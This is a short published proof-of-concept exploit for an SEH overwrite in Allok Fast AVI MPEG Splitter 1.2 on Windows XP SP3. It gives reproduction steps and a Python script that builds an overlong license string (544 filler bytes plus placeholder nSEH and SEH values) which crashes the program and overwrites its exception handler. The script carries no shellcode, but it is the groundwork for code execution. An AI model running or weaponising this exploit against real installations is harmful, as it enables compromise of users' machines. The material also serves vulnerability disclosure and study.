# Exploit Title: Allok Fast AVI MPEG Splitter 1.2 SEH Overwrite POC # Vulnerability Type: SEH Overwrite POC# Discovery by: Shubham Singh# Known As: Spirited Wolf [Twitter: @Pwsecspirit]# Discovey Date: 2018-08-01# Software Link: http://www.alloksoft.com/fast_splitter.htm # Tested Version: 1.2# Tested on OS: Windows XP Service Pack 3 x86# Steps to Reproduce: # Run the python exploit.py , Open "exploit.txt" and copy content.# Open Fast AVI MPEG Splitter , A registration prompt will appear.# In the License field paste the content of "exploit.txt".# Press "OK" and B00m Crashed.#!/usr/bin/env python# SEH chain of main thread, item 0# Address=00129B78# SE handler=43434343# SEH chain of main thread, item 1# Address=42424242# SE handler=*** CORRUPT ENTRY ***
buffer = "\x41"* 544
nseh = "\x42\x42\x42\x42"
seh= "\x43\x43\x43\x43"
exploit = buffer + nseh + seh
f = open ("exploit.txt","w")
f.write(exploit)
f.close()